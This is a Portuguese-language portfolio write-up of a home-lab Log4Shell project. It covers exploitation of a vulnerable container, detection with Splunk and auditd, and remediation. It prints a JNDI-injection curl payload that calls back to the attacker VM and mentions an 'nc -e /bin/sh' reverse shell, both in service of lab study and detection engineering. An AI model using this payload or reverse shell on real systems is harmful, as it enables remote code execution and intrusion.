
Projeto prático demonstrando exploração do Log4Shell, engenharia de detecção com Splunk e auditd, e remediação validada em um ambiente containerizado.
Um projeto prático de segurança ofensiva e defensiva simulando o ciclo de vida completo da vulnerabilidade Log4Shell: exploração a partir de uma VM controlada pelo atacante, engenharia de detecção no Splunk e remediação validada.
A maioria dos projetos de portfólio nesta área cobre força bruta em SSH. Eu queria algo que demonstrasse um conjunto de habilidades mais completo: explorar um CVE real e de alto impacto de ponta a ponta, e então migrar para o lado defensivo para detectá-lo e remediá-lo, o mesmo ciclo de vida que um engenheiro de segurança ou engenheiro de detecção percorre na prática.
illshot (192.168.1.85), executando Splunk nativamente para ingestão de logs e detecçãoghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181) executando em um contêiner Docker, com logs canalizados para o syslog do Mint via --log-driver=syslog1. Configurar o listener e a ferramenta de exploração. Iniciei um listener netcat no Kali para capturar o callback do reverse shell e, em seguida, executei uma ferramenta JNDI-Injection-Exploit construída por mim (compilada a partir do código-fonte, pois os lançamentos pré-compilados não estavam disponíveis) para servir o payload LDAP malicioso.

2. Enviar o exploit. Entreguei o payload por meio de um cabeçalho HTTP manipulado contendo uma string de lookup JNDI, visando a aplicação vulnerável na porta 8080.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. Capturar o shell. A aplicação vulnerável analisou o cabeçalho, acionou o lookup JNDI e alcançou minha máquina Kali para buscar e executar a classe maliciosa, resultando em um reverse shell executando como root dentro do contêiner.

Reconhecimento pós-exploração (como um atacante real faria): confirmei o acesso root, revisei as variáveis de ambiente (limpas, sem segredos vazados), inspecionei o jar da aplicação e revisei /etc/passwd, que revelou um conjunto de contas de serviço não utilizadas da imagem base Alpine, um bom exemplo de artefato de reconhecimento enganoso que não reflete a superfície de ataque real.
O Splunk, ingerindo o syslog do Mint, capturou toda a cadeia de exploração: a solicitação inicial de lookup JNDI, o stack trace resultante de NamingException e ClassCastException, e os comandos associados sudo docker exec usados para interagir com o contêiner no nível do host.

O reconhecimento também era visível antes da exploração: os logs do firewall UFW capturaram o tráfego da varredura Nmap do Kali contra o alvo.

Uma descoberta técnica fundamental deste projeto: um reverse shell bruto nc -e /bin/sh nunca se autentica via PAM, portanto não gera nenhuma entrada em auth.log e nenhuma sessão de login. Por si só, isso tornaria esse tipo de shell invisível para o registro padrão baseado em login.
No entanto, os contêineres Docker compartilham o kernel do host em vez de executar kernels virtualizados totalmente isolados. Isso significa que cada execve (execução de processo) dentro do contêiner ainda é visível para o subsistema de auditoria do host. Configurei o auditd no Mint para monitorar syscalls execve em todo o sistema, marquei a regra (container_exec) e alimentei /var/log/audit/audit.log no Splunk como uma nova entrada.

Reacionar o exploit e executar comandos pós-exploração (whoami, cat /etc/passwd, ls /app, env) confirmou a teoria: o auditd capturou todos os comandos, incluindo a própria invocação bruta do reverse shell nc, com o IP e a porta do atacante diretamente visíveis nos argumentos registrados.

Atividades pós-exploração mais amplas também eram totalmente visíveis, executadas sob /bin/busybox (o shell mínimo do contêiner implementa a maioria das ferramentas Unix como symlinks para um único binário BusyBox, então comm mostra busybox enquanto exe ainda resolve o caminho completo):

Um detalhe adicional que vale destacar: cada evento capturado mostrava auid=4294967295 (não definido/sem sessão de login) emparelhado com uid=0 (root). Essa combinação é, por si só, uma forte evidência de um shell não autenticado, um processo executando com privilégios totais de root, mas sem nenhum ID de login de auditoria, exatamente o que se esperaria de um shell que contornou completamente a autenticação normal.
Principais consultas de detecção usadas:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
Apliquei a mitigação provisória oficial publicada pela Apache e pela CISA antes dos lançamentos corrigidos do Log4j: desabilitar os lookups de mensagens JNDI por meio de uma propriedade de sistema JVM.
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
Reexecutar exatamente a mesma cadeia de exploração após a remediação confirmou a correção: a solicitação ainda chegou e foi registrada, mas o lookup JNDI nunca foi avaliado, sem callback, sem stack trace, sem shell.

Essa comparação é a evidência mais clara do projeto: o ataque original gerou uma cadeia de exploração completa com mais de 136 eventos de log relacionados e um callback bem-sucedido. Após a remediação, o ataque idêntico gera uma única linha de log benigna, sem nenhuma atividade de lookup downstream.
Vale destacar para defesa em profundidade: a tentativa de exploração permaneceu visível nos logs mesmo após a remediação. O valor da detecção não desaparece quando uma vulnerabilidade é corrigida; um sistema corrigido que seja posteriormente mal configurado, ou um payload variante, ainda seria capturado pelas mesmas consultas de detecção construídas aqui.